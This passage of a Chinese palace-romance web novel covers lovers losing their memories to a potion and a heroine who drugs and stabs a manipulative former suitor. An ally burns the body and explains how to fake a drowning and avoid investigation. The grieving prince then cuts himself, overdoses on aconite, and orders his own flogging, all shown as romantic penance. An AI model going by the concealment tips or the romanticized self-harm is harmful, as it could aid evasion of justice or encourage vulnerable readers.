柳湛追问：“什么忘情水？” 官家以舌抵颚，他仅仅描述，亦不知道那蛊名字，她当年没说，现在口不能言。 “喝下去再醒来，会忘记心中所爱的水。” 旁的都记得，唯独忘记与爱人的点点滴滴，那人，再不存心中。 官家笑漾起来：“倘若你们喝完了仍记得对方，朕就信古往今来，真有情比金坚，允你二人成亲。”官家敛笑：“倘若不记得，就莫再提！” 他是不信的，彩云易散琉璃脆，世间好物不坚牢。 “好！” “好——” 萍萍和柳湛齐齐应声，柳湛还脱了长音。 官家年轻时容貌出众，到如今一双唇启合时依旧吸睛：“到昆玉殿后第三棵桂花树下挖，看能不能找出一坛酒。” 官家吩咐内侍，昆玉殿是他做大王时的寝宫，到现在仍记得清清楚楚。 又晲柳湛：“没那么快，回东宫等着去！” * 半个时辰后，仍在官家这福宁宫的正殿中，皇后匆匆而来，屏退一众宫人内侍，只剩帝后二人。 皇后深吸口气，走近官家，在他身边仰首问：“殿下缘何未废娑罗奴？” 他们商量好的，一个纵容，一个遏制，携手闹大太子的风流韵事，让朝臣们都瞧见，籍此废除太子，亦或者逼太子自己让位。明明可以成功的，官家却自己改口放弃。 坐着的官家展臂，示意皇后来自己怀中：“百足之虫，死而不僵，如今她虽然废了，但宫里朝中仍有不少势力，朕思忖良久，还是不能打草惊蛇，一寸寸拔除干净后再废娑罗奴，不迟。” 今日柳湛差一点就要主动让出太子，其实官家那一刻不知有多想顺水推舟，但太后送来的木匣里有一张现下已经被销毁的字条，告知官家，七大王柳沛多年前就被太后下了绝嗣药。 官家垂眸暗咒：蛇蝎妇人！ 他并不全信太后的话，却也担忧毁了柳湛，自己真断子绝孙——毕竟宫中最近二十年，只有湛沛两位皇子，官家虽不愿承认，但对自己的身体信心不足。 “还是陛下想得周到。”皇后说着缓缓靠向官家怀中，官家旋即拥住，含情脉脉凝视她的脸，心里却回想方才千叮万嘱内侍，一定要提防皇后对那坛酒动手脚，不能让她戕害柳湛。 官家手抚向皇后小腹，笑道：“从前是朕对不起你，让你受了多年委屈。等一切尘埃落定，朕的太子必定要从你这肚子里出来。” 皇后瞥一眼自己肚子，而后将脑袋和掌心紧紧贴在官家胸口，温柔缱绻：“只要陛下心里有妾一分位置，妾就都听殿下的。” 说时心思飘远，扬州之事找的凤歌对家去办，叫什么来着？占利，不知是否斩草除根？ 办完事后，有没有把占利诱杀？ 皇后撇了撇嘴，这辈子自己真是操不完的心。 一会又想，此刻倚靠官家怀中，终于第一次沾了龙椅，坐得就是舒服。 * 东宫。 萍萍戴着一顶云月纹缕的金冠，盖着绛纱，这是柳湛的安排，临时只能找来这些，他说绛纱就当盖头，待会的酒就是交杯，先结夫妻，醒来更不会忘记。 萍萍就这样穿戴着向柳湛行了个礼，笑盈盈道：“官人万福。” 从今往后他就是她的官人了。 柳湛目不转睛，今夜她如此美丽，在她重新直起身时，他依旧会为她耳红，心慢跳一拍。 蒋望回就在此刻端酒进来，两杯逐一放置桌上，而后退出去。 门重关紧，柳湛冲着萍萍，举起一杯：“既结夫妻，生死与共，无怨无悔！” “好，生死与共，无怨无悔。”萍萍复述，宫灯高照且作红指，萍萍举起剩下那杯，隔空敬柳湛：“官人，从今往后，你我心意如胶，白头偕老，今生今世绝不和离。” “不仅不和离，也不会忘记。”柳湛紧追着接口，“醒来无论身在何处，天涯海角，天各一方，我们都去润州城。”他加重语气，强调，“记着我们的约定，我在那里等你。” “好，我会记着你是我的官人。” “我也会永远记得你是我的娘子。” 二人挽臂交杯，皆信心满满，果断一饮而 尽。 很快皆有些犯困，柳湛努力支起眼皮，叮嘱：“娘子，到时候再见面，你就跟我说‘官人万福’，我记着的，一定立刻就能想起来。” 他看萍萍已经闭眼趴在桌上，也不知她听没听到。 柳湛叹口气，算了，到时候就算她不讲这句话，他也会记得她。 柳湛想着，沉沉睡去。 …… 前尘旧梦，回忆至此，柳湛在萍萍的小院厢房中紧紧攥着她的诀别字条，再次呕出一口大血——袍上，桌上，茶盏、纸条，全都溅的是血。 柳湛捂胸口，又是一口，之前已经变深凝固的血旋即被鲜血覆盖，层层叠叠。 呕尽了蛊，他才晓得，原来他全忘了，只有萍萍还记得。 他真该死呀，他已经从十七岁走出去，可她却被困在那一年，遵守约定，等着她的官人。 她永远记得那个十七岁时喜欢的少年。 士之耽兮，犹可脱也；女之耽兮，不可说也。 第102章 第一百零二章 快刀斩乱麻 半年前。 萍萍和裴改之乘船离京。 裴改之包的船总共四间客房， 各倚一角。他让萍萍先选，萍萍瞥他一眼，随手挑了一间。 裴改之极其自然住进萍萍隔壁。 入夜后， 汴河上雾气苍茫， 萍萍环扫一圈， 关上船窗并反锁，房门亦然。 她想了想，盯着圆桌， 上面瓷盘里摆着一只天青色茶壶， 四周围绕倒扣四只茶盏。 萍萍提壶掂了下，内里凉水半壶。她拿起离自己最近那只茶盏， 倒水，将蒋望回给的蒙汗药解药化在盏中，喝光，再用手帕擦干净盏中水珠，放回盘中。 然后给茶壶里下了大半包蒙汗药，再将房中的香炉点燃。 做完这些事，萍萍铺好被子， 却不睡， 吹了灯坐在床沿。 一片漆黑中， 窗外的水声格外响亮。 哗——哗—— 房中无滴漏， 不知具体时辰，萍萍反正没坐多久，房门就被人轻轻敲了一下。 “萍萍？”隔着房门， 都能听出裴改之声音里的笑意。 萍萍不回应。 裴改之又敲第二下：“萍萍，你睡了吗？” 半晌无应声，但裴改之并不打算放弃， 连叩两下，语气也急促起来：“萍萍、萍萍，是我，阿占。” “唉，什么事？”萍萍终于应了声。 “夜里起寒气了，船上又没炭，我给你拿了件狐裘，搭在被子上能暖和些。” 萍萍明明没有宽衣，却道：“谢谢！但你得等等，我要先穿衣裳！” 裴改之在门外笑了一声：“没事，我等你。” 萍萍点灯，先在舌下压一枚解药，而后往香炉里添软筋散，再然后才是铺床。她做了三年司设，明明可以铺整齐，却故意留一点凌乱。 亦将裙上系带扯松些。 忙完这一切，萍萍开门，用惺忪睡眼眺看裴改之：“进来吧。” 将他让进房中。 裴改之定定看了几刹萍萍的脸，继而向下打量，在裙上定了一息，唇角旋高。 他再往里走，递给她一件纯白无一根杂毛的狐裘：“这是好料子，暖和得紧。” 萍萍谢过，将裘衣顺手放到床上，裴改之扫着被褥，讳莫如深。 须臾，他笑吟吟问：“点了香？” 已不动声色细嗅。 萍萍心道蒋望回说过软筋散无色无味，裴改之应该只能闻见船家备的香。 她眉间迅速凝聚哀愁，嘴角却要扯起一抹笑：“这几年一直睡不好，要点香才能安神。” 裴改之心一揪，语气不自觉放柔：“以后我们重新在一起了，会好的。” 萍萍就近拾起刚喝解药的那只茶盏，尽全力手稳不抖，倒了一盏递给裴改之：“喝点水吧。” 裴改之压低下巴，静静看着萍萍：“我不渴。” “那我喝了。”萍萍收回手自己喝了一大口，“我可渴死了！” “那给我也倒一杯吧。”裴改之笑道，“谢谢萍萍了。” 道谢的话他拖了长音，丝毫不掩饰语气里的情意绵绵，萍萍偏头抿唇，假意羞赧。 始终凝视的裴改之喉头滑了下，慢道：“好久没看过你这个样子了。” 是从来没有见过。 萍萍倒满一盏水，递给裴改之：“我从前经常这样吗？” 裴改之接过：“当然，你是我娘子。” 他说完喝下一大口。 “可是官人——” 裴改之万万想不到萍萍会这样称呼自己，一颗心猛颤。许是二人间再无他人阻碍，今晚萍萍的声音听在他耳里异常粘糯酥麻。 他盯着她露出的那一截白细手腕，举盏又吞一大口凉水，而后伸手欲抓萍萍的手，萍萍却站起提壶，轻巧避过。 “还说不渴，这都快喝完了！”她给他盏中重新添满，同时嗔他一眼，眉飞眼挑。裴改之笑眯眯再喝。 萍萍两排牙齿悄悄在唇后咬住，调整呼吸。 今晚压着解药怕暴露，嘴张不大，说话较为含糊，她一直都在紧张。 “可是官人——”萍萍继续方才没问完的话，不知裴改之心头又颤，“我们怎么分开的呢？我又为何会失忆？” “我说了，有人要做老天拆散我们。”裴改之重复在汴京对她说过的话，又道，“有人给你喝了失忆的药，有人将你丢到西北荒地，还有人想杀我。他们都要害我们，只有我俩相依为命。” 萍萍锁住裴改之双目，方问：“他们是谁？” 裴改之眼珠一转：“柳湛。” 直呼太子姓名。 他记起自己说的是“他们”，事后补救，多添半句：“和他手下鹰犬。” “谁？” “就柳湛身边那个姓蒋的。” “蒋殿帅？他又做了什么？” 裴改之没想到萍萍还追问，只得道：“失忆药就是蒋望回掐开你的嘴，给你灌下，我听见他和他妹妹密谋……”话一旦真假半掺，讲得多了，就容易混淆细节。裴改之担心下回萍萍问同样问题，答得有出入被识破，只能越讲越慢，自己也边讲边记，“我听见他和他妹妹密谋，怒从心头起，当即要救你，却被柳湛发现追杀，延误时机，等我赶到时你已经被逼着喝光了。” “蒋殿帅缘何要逼我失忆？” “他是柳湛的狗，听令柳湛，只有你失忆了，才会忘记我，柳湛才好蓄意接近，让你爱上他。”裴改之说着朝地上唾了一口，正义凛然，“窃人身份，偷天换日，这一国储君竟如此下作！” “你说，是有人将我丢在西宁？”萍萍已觉漏洞百出，却仍虚与委蛇，“那又是谁？” “是柳湛那个弟弟，兄弟阋墙，”裴改之话到这极漫长停顿，他这几年也读了不少书，会掉书袋了，她是否对他青眼有加？ “他见不得柳湛好，又因为柳湛看中你，祸害到你头上。我晓得后肺气炸了，当即就要去西北救你回来，却被柳湛追杀，九死一生。不得不隐姓埋名，数年后才在润州寻到你。” 裴改之平生遗憾二事，其一萍萍，其二出身，接下来一句终于肺腑全真：“恨我俩人卑势微，斗不过那帮倚势挟权之徒。” 裴改之想到这再次笃定世间只萍萍和自己相依为命，又要去抓她的手。 萍萍给他斟第3回 水，躲过 。 裴改之盯她一眼，仰脖将新斟的一盏一口气喝光，然后直勾勾望着萍萍喘了口气，天晓得这些年对她有多渴望。求而不得，寤寐思服，之前集市上她摸过的那些东西，他都买回去自渎：“我们从前很好的，一起长大，夏天天热，唯独江中凉爽，我们泡在里面，脚底若有鱼，就抓起来烤了吃，就这样时不时一条，吃得饱上喉咙，却又怕大人们知道，回船——”戛然而止，他急急改口，“回家后还是乖乖用膳，一口也吃不下，你给我使眼色，我就叫你把饭菜偷偷倒在我碗里，我再倒掉，被大人抓住都算我的。” 裴改之不无惋惜：“可惜你不记得。” “我记得的，阿占。”萍萍轻道。 裴改之闻言一喜，下一刹心惊肉跳，神色复杂，敢看又不敢看，最终看向萍萍。 萍萍不紧不慢续道：“阿占，或者应该叫你——占利。” 裴改之因为紧张，脱口而出：“你想起来了？” 萍萍抿唇不言，脚向后退，远离裴改之——那日摸脸时就有揣测他易容，但直到她全记起，才敢确认。 如今的占利，不仅黑肤易白，肤色效仿柳湛，整张脸都要易跟柳湛相似六、七分。 裴改之眼睁睁见萍萍远离，怎会放过，既然她都想起来了那就用强，他朝前抓萍萍，恍惚重现数年前画舫抓人那一幕。 这回没有柳湛，也没有蒋望回来救她，她最终还是他的。 裴改之想着一笑，高高扬起嘴角，脚再往前逼一步，却忽地一搀，跪倒在地。 马上打算重新站起，却浑身无力，不仅没站起来，反而趴向地上，像只**。 他挑起眼皮眺萍萍，虚弱气声：“是水还是香？” 她用什么药倒了他？ 萍萍不会告诉他，反问：“兰姨她们在哪里？” 再至扬州，码头上无一艘花船。 她们所有人都消失了。 这事萍萍自打记起来就一直在想，现在问起，依旧控制不住心乱颤，浑身冰寒。 裴改之噙笑，她都不回答是水还是香，他为什么要告诉她？ “你杀了她们！”萍萍抖着胳膊怒斥，晶莹夺眶。 裴改之抿唇。 自己年少不懂事时，无人教导，错用欺负表达喜欢——就这么一个微不足道的错，老天一直不给改正机会，而柳湛已经贵为太子，权势滔天，老天还要一次又一次给予机会和气运，让他一遍又一遍拥有萍萍。 凭什么贵者更贵，贱者更贱？ 何其不公！ 裴改之恨柳湛，毫不犹豫欲将此事栽赃给他，启唇却发现无力发声，紧接着唇闭起再张不开。闭上眼之前裴改之再次瞥向萍萍，没想到她恨他至斯，也好，恨既是爱，她最爱的还是他。 裴改之闭眼昏睡。 萍萍心里默数了十声，才操起圆凳，朝裴改之走近。 她拿圆凳扒了他几下，确定真晕了，才放下凳子近前扒拉他身上。找出来数把飞刀，萍萍二指放到裴改之鼻下，犹有热气，她心跳如鼓，肩膀和手都在抖，但还是两手握紧刀把，对着裴改之心脏狠狠扎下。 这是她第1回 杀人，之前从未想过这辈子会杀人。 萍萍一刀接一刀，怕捅歪全程没闭眼，直到确认裴改之死透，才整理一番，打开房门。她特意挑选船尾客房——梢公在船头摇橹，不仅瞧不见船尾，为省烛火钱，亦只在船头点灯。 且以萍萍从前了解，晚上如果是顺流，梢公会栓桨打一会盹，她趁机连抱带拖，将裴改之挪到船尾，打算观察一下如果四周没有别的船，就将尸体抛入水中，伪造醉酒堕水身亡。 萍萍环视一圈，汴河上的确没有第二艘行舟，但岸上却有一人，骑马一手勒缰，一手提灯，正望江中。 灯笼往上照面，眉眼熟悉，竟是蒋望回。 船在水中行，萍萍身随船移，目光渐渐和蒋望回目光对上。 哗——哗——水声潺潺。 第103章 第一百零三章 掩面的柳湛，泪从指缝渗…… 船往南游， 蒋望回岸上执缰慢走，始终同她保持对视。 萍萍拿捏不准，惴惴不安。 蒋望回极缓慢地朝左偏头。 萍萍随之左望， 左边没什么呀？是船舱。 她反应过来， 将裴改之抱回他自己房中， 她则进隔壁房。 不一会儿，听见岸上蒋望回呼唤：“河上的船，靠过来些！” “河上的船， 快划过来！” 萍萍抓起裴改之留下的飞刀， 模仿他藏在腰间，而后才去船头， 见着火光中蒋望回招手身影，她强自镇定，问梢公：“怎么了？” “不知道啊，”梢公才将从梦中醒来，“娘子识得岸上那人吗？” 萍萍揉眼，假装未醒明白：“我瞧瞧。” 说完还打个哈欠。 梢公摇桨，缓缓朝岸上靠近。 萍萍吃不准蒋望回态度， 下意识看向自己藏飞刀的腰。 船尚未挨着岸， 蒋望回就朝她躬身：“娘子， 郎君呢？” 萍萍睁圆杏眼， 不知如何接话，就听蒋望回再道：“可算赶上您们了，老夫人生病唤您们回去， 别走了。” 语气眉眼，无一不急。 萍萍明白了，同他唱和：“可是……他晚上贪酒， 睡熟了。” 蒋望回拧眉：“老夫人病得很重，现在就得同郎君商量回去。” 梢公一会打量萍萍，一会望蒋望回，二人瞧着挺熟，可能真有其事，但仍怀疑他们和那裴官人合伙诓船钱。 再则，月黑风高，亦可能是截船的水匪。 梢公道：“二位，我先停船，再细说。” 前头有个小码头，泊着另外两艘船，皆是水上人家。 梢公想，眼下这个时辰，两艘船里的人虽已入睡，但叫囔起来还是会醒的。裴小官人仨人要真是歹人，亦会忌惮不敢动手。 梢公跳上岸栓锚，听见萍萍同蒋望回叹气：“你又不是不知道，他这人醉了酒，一时半会醒不来的。”萍萍抿唇，捏了下手，似做决定：“这样吧，我来做主，我们回去。” 萍萍转身告知梢公：“船主人，扬州我们就不去了。” 梢公不急接话。 萍萍接着赔礼：“是我们毁约在先，船钱会照付给您。” “啊——好、好、好。”梢公欲言又止，半晌才吞吞吐吐说裴改之仅付过定金。 萍萍心一沉，只怕裴改之没想打算留梢公活口。 她离京揣了些银两，打算垫付，正掏着蒋望回先一步递了张交子给梢公，帮着付了。 萍萍回看蒋望回一眼。 梢公想长久跑船，打心眼里不愿河上惹事，现在银两到手，便开始睁一只眼闭一只眼，一会说“父母在不远游，该回去”，一会又任由蒋望回进舱，驮醉酒的裴小官人下船。 客房内，蒋望回低头仅瞥裴改之尸身一眼，就蹲下默默驮起，萍萍抬手帮扶。她强抑下手抖，将裴改之的胳膊搭到蒋望回肩上。 蒋望回岿然如松，并无一丝一毫惧怕，反而沉声嘱咐萍萍：“喝醉的人腿应该是软的，待会下船时你帮着遮一遮。” 萍萍这才留意到裴改之的腿已经开始发硬。 “你等等！”她说着一阵风跑回自己房里，捧来那件白狐裘，披在裴改之背上，还拍了拍，故意高声囔囔：“夜里凉，你喝了酒不能吹风，披着！” 蒋望回背尸下船，萍萍跟在后面，心里紧张，禁不住想去观察另外两艘船，却又暗中咬牙：蒋望回都能目不斜视，自己也能！ 生生忍住，一路皆做到不露怯。 二人将裴改之运到马上，仍用白狐裘遮住，蒋望回道：“先这样，待会为郎君雇辆车。” 但牵马远离，到了无人荒郊后，蒋望回没有找马，反将灯笼丢到裴改之身上，一把火烧了扬灰。 直到此时，萍萍才敢确定蒋望回不是借裴改之要挟她。 她不解追问：“蒋兄，为什么刚才不让我直接抛河里？” 要这样大费周章。 “河中抛尸必须绑重物，或装进内里填石的竹篓木箱，确保沉底，不然过两日尸身浮出水面，或现下游，旋即会被人发现。溺水属于呛咽窒息，要模仿这个死法，下蒙汗药后应该选择捂口鼻，而非捅心口，提点刑狱一见留下的刀伤，就会拿人。” 蒋望回扭头看向萍萍，“再则，堕水溺亡无论见不见尸，皆要上报官府——” 他合唇，没有继续讲下去，一报官府便有案底，太子就好寻找萍萍。 到时候她不得不回宫。 那绝对不是她期望见到的事。 蒋望回抿唇不言，心底叹息似身后滚滚浓烟。 萍萍对着火光烟尘，亦对着蒋望回鞠躬：“谢谢你，是我没经验，欠考虑了。” 蒋望回默道：希望她一辈子没有这类经验。 他转回身，不再注视萍萍，只瞧眼前正焚烧的尸身，夜风改了向 ，没有朝萍萍那边吹吧？ 蒋望回估算了下，确定没有，就没再回头眺萍萍。 等烧完了，清理尽灰烬，他和萍萍就要分别。 以后再也瞧不见了吧？ 蒋望回几番抑制，还是禁不住询问：“让娘子下船还有一原因，我猜，娘子就没打算去扬州吧？” 问时心如弦颤，不敢回头，却又期望她告知归处。 萍萍深吸口气：“我都想起来了。” 蒋望回回首亦回身。 她目光越过蒋望回，眺裴改之尸身，火光后青松绿柏，在暗夜里若一列列人影：“死前我问他兰姨她们去哪了，他没有答，你知道吗？” “在下没有及时留意此事，很久以后，方知画舫走水，全烧没了。”蒋望回垂首，“对不住。” “提点刑狱不追查这事吗？”萍萍冷清清地问。 须臾，蒋望回倏然抬首，眸中全是不可置信和几缕受伤。他身子朝着萍萍倾了些：“在下敢以性命起誓，幕后主谋不是在下，也不是殿下。” “他死前还跟我提及，是七大王将我丢去西宁，我不信他，所以来问问你。”萍萍直直锁住蒋望回双眸，眸内剪水，仿佛无声在说：蒋兄，我能相信你吗？ 蒋望回喉咙一热，以为会烂在肚里一辈子的话翻出来：“他说的实话。” 萍萍杏眼迅速张大。 蒋望回低下脑袋：“七大王那时才十一岁，小孩子心性，听风就是雨，认定你是太子殿下污点，侮辱了殿下。于是便趁昏迷，命人将你打了一通，抛掷千里之外，以为这样……你就不会再出现在殿下身边。” “我那时见过七大王吗？我认识他吗？”萍萍喘着粗气问，她记得面都没见到，更无交谈！ 蒋望回摇头。 萍萍脖上青筋鼓起：“不认识他就下那么重的手！” 她西宁醒来，身上无一处不伤，几近濒死。 蒋望回脑袋垂得更低，良久，低低道：“你饮下官家赐酒，陷入昏迷，皇后娘娘有意趁此机会除去你，七大王却先一步将你送去西宁，阴差阳错……反倒救了一命。” “那我就应该感恩戴德吗？”萍萍扯着嗓子质问，眼尾泛红，怎能这样糟践人？ 猎猎夜风，再次改道，裹挟着热气和烟尘朝萍萍吹去，蒋望回不敢上手拉她，只嘴上劝：“风吹过来了，换个地站吧？不然容易呛着眼鼻。” 萍萍挪身。 待她站定，蒋望回方才辩解：“我刚才那番话，不是那个意思。”他面上有些无措，唇嚅了又嚅，最后垂首，“千错万错，是我说错。” “他死前还说你和蒋娘子在官家御赐的酒里动了手脚，这也是实话吗？” 蒋望回紧抿双唇，身后火趋近燃尽，周遭渐渐冷下来。 萍萍始终凝望蒋望回，眸若秋水，他却觉里面不是水，反而是腾腾跃动的两团烈焰，要将他上上下下灼烧干净。 蒋望回扛了一会，渐渐支撑不住，又恍觉萍萍在自己面前呐喊：你也害我！这也是你的错！ 他情不自禁朝她迈了一步，抬臂急辩：“我们没有动你那杯！”话开了头，若严防死守的水闸泄洪，“我们当时只想在殿下酒中添料，确保殿下彻底忘却前尘。”蒋望回自知这番话出口，怕是和萍萍朋友都做不成，不由心如刀割，“但是不知道为什么最后全忘了的是你。” 话音落地，片刻，蒋望回记起背后尸身，猛地挑眉：是裴改之调换了两杯酒！ “你们怕他喝了酒仍记得我，蒋娘子想从头再来，”萍萍缓缓扯起嘴角，轻笑，“你还真是护妹心切。” 是维护妹妹么？ 蒋望回幽幽回想彼时画面，蒋音和恳求他，咬牙切齿，“阿兄，我绝不能让他俩醒来还在一起！不让在一起！” 他清清楚楚记着，听见“不让在一起”这几字，自己心念一动。 到底是为了妹妹，还是……他的私心？ 音和说得对，那一声声娘子，到底是萍娘子，还是…… 蒋望回自己也说不清，何时待萍萍起了变化。 许是那幅珍藏的美人图？ 许是金山一路，时常瞧见的一对温馨背影？ 亦或者是听闻二人应喏官家，相约共饮，他羡慕柳湛有一位真心爱他，生死与共的伴侣？ 还是…… 蒋望回许多话想对萍萍说，口中嚼数百遍，却难启唇。 算了，尘埃落定，再提有何意义？ 他心灰意冷垂下眼皮，打算永归沉默，忽听萍萍主动问：“陕西那碗粥是不是你特意施的？” 蒋望回瞬时抬头，眶溢晶莹：是啊！ 从西宁至扬州，除却出谷地后跟丢五日，一路他都在她身后！ 见她观音庙出来，脚步虚浮，他立刻就去求爹爹，在萍萍必经之路搭棚施粥。 这事情憋太久了，万万想不到最后是萍萍自己明白。蒋望回咧开嘴笑，眼里却淌两行清泪。 萍萍朝蒋望回深鞠一躬，谢他一饭之恩。 蒋望回吸鼻扭脖，微扬下巴望天，那一路默伴，瞧见她和异族亦能打成一片，梳两个小辫学腹语。偶遇歹人，她明明脸上流露慌乱，明明在怕，却能抖着手巧妙化解，就和今夜杀裴改之一样…… 他怎能不被深深吸引。 尸身烧尽，天也将亮，萍萍和蒋望回一起料理完，翻出来的土重盖上，夯实，才同他辞别：“我要走了。” 她直视蒋望回，没有犹豫：“千里相送，归于一别。” 蒋望回本来想将马给她，转念又想，马可识途，萍萍不愿他们找见，肯定不会要的。 他拱手：“终有一别。” 萍萍调头远离，天在这一霎放亮，周遭草木清晰，她自己就能辨路。 蒋望回原地目送，行行重行行，与君生别离。 * 半年后。 柳湛失魂落魄从萍萍的小院出来，查了三日，亦差人搜寻萍萍，佳人杳无音讯，但旧事却翻出许多。 他在东宫书房宣召了蒋望回。 蒋望回进去时，柳湛正坐在案后圈椅上，上方官家御笔的匾额已被摘去。 蒋望回屈膝下跪：“微臣参见殿下。” 柳湛没有批阅公文，手搭扶手，直直俯视蒋望回。 他叹息一声，缓慢启唇：“孤腹上的疤是不是你去的？” 蒋望回垂首沉默，的确是柳湛昏迷时，他和音和所为。 “胡家伞宴后，孤命你调查萍萍，呈上来的那份户籍你是不是也改了？” 蒋望回依旧沉默，书房内掉针可闻，又似冰窖一样冷凝。 “那年你端进来的酒，孤的和她的……”柳湛的声音开始发抖，“是不是不一样？” 自从告知萍萍，蒋望回已心无波澜：“是，微臣给殿下那杯添了些料，想让殿下忘记从前一切人事，哪知被裴改之调换，阴差阳错，萍娘子饮下殿下那杯。” 柳湛定定注视蒋望回，片刻，忽地操起桌上砚台，暴怒掷下：“你还有什么不敢做！” 蒋望回仍跪原地，砚台狠狠砸在他肩头，顷刻崩裂四碎，墨污一身，血亦从袍中渗出。 “你凭什么这样做！” 凭什么？ 蒋望回喉头滑动，反而抬起头来对视柳湛：“殿下记不记得，少时在臣家里，臣与殿下正过招式，几位长随从臣父亲院中捧出一大堆书画？” “眼看掌风就要击上长随，殿下连忙避开，那长随没被打到，却仍受惊吓，松手卷轴掉了一地。臣和殿下都帮着捡，并询问缘何抱这么多画出来，长随说这些画都霉了不要了，准备烧掉。殿下闻言，好奇展开手上那幅，竟画的一位小娘子。” 蒋望回始终注视着柳湛，观其神色，果然完全不记得了：“臣赞叹美人图，殿下反问哪里美了？说画中小娘子颜色寻常。臣却直言……臣就喜欢这类杏眼桃腮的。殿下说——” 蒋望回顿了顿，面上浮起浅淡笑意：“殿下说臣这个闷葫芦难得开口，那一定是真喜欢。” “殿下说完就要将画交还长随烧掉，臣却阻拦，殿下旋即笑臣要抱画眠， 娶画中美人。臣当时回说若至冠礼时，真能遇见样貌相仿，年岁合适，品性端良的，就娶回家。殿下大笑，说娶个画美人还诸多条件，挑七拣八。” 蒋望回见上首柳湛捂面，心道明明殿下不记得，只有自己一直记着，明明殿下不喜欢，只有自己喜欢。 柳湛双肘支在桌上，双手捂面，默默淌泪，蒋望回说的什么已经没有去听，他只想着：他俩喝的酒不一样，萍萍什么都忘了，却还记得他，他什么都记得，唯独忘了萍萍。 掩面的柳湛，泪从指缝渗出来。 不知默默流了多久，待泪尽时，天已经黑了，蒋望回早已经离开。 窗外月上柳梢，柳湛恍觉萍萍就坐在窗边，手搭窗楹，微微侧首，戴着他送的那支月钗，但同时他的脑子无比清醒，心也清楚，月钗在桌子的抽屉里，窗边亦是幻觉，她离开了，不会再回来。 第104章 第一百零四章 鸟返深山自在啼 虽知是假， 柳湛却仍盯着窗外，盯到能发现月亮移动的细小变化。 以前也不是夜夜都和萍萍在一起，却从来没有像这三天一样难熬。 柳湛清楚， 那是因为从前纵然不在一起， 但那个人会始终在小院、在寝殿、在扬州的驿馆、润州的家里等着自己。 他们的心是在一起的， 共一轮明月。 可是现在……她还和他同心吗？ 如果同心，为什么要走？且说，“自此别过， 后会无期”。 柳湛想起萍萍留下的字条， 眼里窗外的月亮忽然变得血淋淋，透着狰狞的红光。 他拧眉， 不由自主捂住胸口，又开始一遍遍地在心上碾那两句话： 他全忘了，她还记得； 她什么都忘了，却还记得他，他什么都记得，唯独忘了她。 十来字言语，却似五岳压在柳湛身上， 他难受得佝偻， 张开唇大口吸气， 手撑桌面不仅没站起来， 反而两臂无力卸到桌上。 还有，最难忽视地疼痛，像有只无形手在身上掏， 把心挖出来，再放回去，如此反复， 五脏六腑、筋脉血肉都连带着拉扯起。柳湛渗出冷汗，长长喘出口气，在寂夜的书房里低沉回荡。 才晓得人没有服毒，没有受刀枪剑戟伤的时候，也可以这么疼。 少顷，他盯着窗外还在滴血的月亮，竟着了魔般想：没受伤就这样疼，那如果再加一道真伤呢？ 是不是会更疼？ 他解下玉带，敞开锦袍，掀起里衣，缓缓移出袖里剑，对着自己光洁的腹部横划一道。习武之人，知道走刀越拖延，挨刀之人越痛苦，却偏偏对自己慢慢地划，剑锋一厘厘深入，看着血珠渗出，皮肉翻开，柳湛目不转睛，心生欣喜——他腹部又有伤了，可以变回她的阿湛！ 掏心痛稍微缓解了些。 可没好多久，甚至一天不到，就又重新疼起来。 是日傍晚，太医局的太医正被召入东宫。 一跨进寝殿，就闻见满屋橘子香，太子面色苍白倚靠床头，腹间缠绕一圈又一圈布条，微有渗血。 单仅望闻就情况不妙，医正大惊，急欲上前查看：“殿下您受伤了？” 柳湛摆手，示意太医不必打开药箱，更不必问诊，他已经自拟好一张药方，递给太医正。 太医正接时还好，逐味药扫过，颤颤巍巍：“殿下用这么重的附子？” 附子大毒啊！ 当然，这句他不敢说。 “这方子——”也不敢问可不可行，太医正的话拐了个弯：“这方子附子颇多，殿下是否慎重？” “就按这方子抓了煎。”柳湛不紧不慢道，垂着眼皮，心病还须心药医，他也尝尝附子是什么滋味。只有痛上加痛，人才好些。 喝了七、八日附子，又不行了，官家卧榻太子监国，柳湛端坐上首正同百官议政，忽地就往后靠了下，脸变恍白，努力掐着龙头扶手才稳住。 接下来上奏的是鄂州雨涝，范围不大，已及时处理并赈灾，未有人员伤亡，太子却当着文武百官下罪己诏，要在这早朝上打自己板子。 一开始内侍不敢下重手，柳湛遂强调一视同仁，不必留情。 那杖刑就开始一棍棍往他身上招呼，打得大殿鸦雀无声。有胆子大的官员余光偷瞧，太子背臀上全是血，眼尾泛红，微微分的唇却好像有几分笑意。 太子疯了。 他们都偷偷地想。 唯有禁军统领蒋望回散朝后伫立垂拱殿西侧，等到勉力支持，极慢挪步的太子，蒋望回也不迎上去，只待太子经过自己身边时，低轻说了一句：“殿下这般要死要活萍娘子又看不到。” 是呀，派去九州八方搜寻萍萍的暗卫都杳无音信！ 他找不见她，她也看不见他的赎罪！ 要不是屁。股上都是伤，柳湛要跳起来，又想好个蒋希颜，自从上回砚台没砸脑袋砸的肩，晓得自己舍不得下狠手后，就开始可劲蹬鼻子上脸，踩他痛处。 找不着萍萍又怎样？ 他还有回忆，博山炉里柑橘混了安神香，一宿一宿追忆往昔，起初沉溺其中，不愿醒来，后来却开始乏味，总觉得哪不得劲。他开始频繁往萍萍从前住的小院跑，回回都从正门进去，设想那些自己不曾参与的日子，她是如何在这里吃饭、就寝、读书，习琴。 柳湛瞅个茶盏都能幻想半天。 再后来，他不再满足于自己设想，召来姚书云询问萍萍的日常点滴，继而是东宫和萍萍打过交道的宫人内侍，再后来，从前司教司还在时的那拨人，仙韶院……挨个听萍萍旧事，顺道重设了司教司。 那么多人，讲来讲去拢共就一点点，还没他知道的多，但柳湛仍每一件事都要听，地缝里抠米，填不饱肚。 心还是既空又疼。 某天晚上，柳湛倏地从床上惊坐起，冷汗涔涔——自己反反复复梦的、听的，皆是前事，他找不见萍萍，不晓得她离开东宫后经历了什么？过得怎样？ 他再也不会拥有任何一件新的，和萍萍一起经历的事情。 这份没有将来的恐惧深深扼住柳湛咽喉，他慌得从床上坐起，赤着脚在殿内无意识踱步。 柳湛又是半宿未眠，上朝时天尚未亮，东宫里已经开始忙碌，柳湛路上频遇宫人内侍，当中有两个提水桶的时不时发出银铃般的笑声。 柳湛循声望去，朦朦胧胧中二宫人眉弯嘴翘，喜 气洋洋。 自萍萍离去后他不曾有一刻开心，于是幽幽地想：她们怎么这么高兴？ 柳湛没好意思问，不动声色偷听宫人私语，原来两人议论着待会天亮能去司教司去上课了。 小宫人说话的时候，眼睛也同样溢出喜悦：“终于能重新上课了，这日子又有了盼头！” 柳湛一愣，如黄钟大吕在心中敲响。 民间常言人活着要有盼头，那他的盼头是什么呢？ 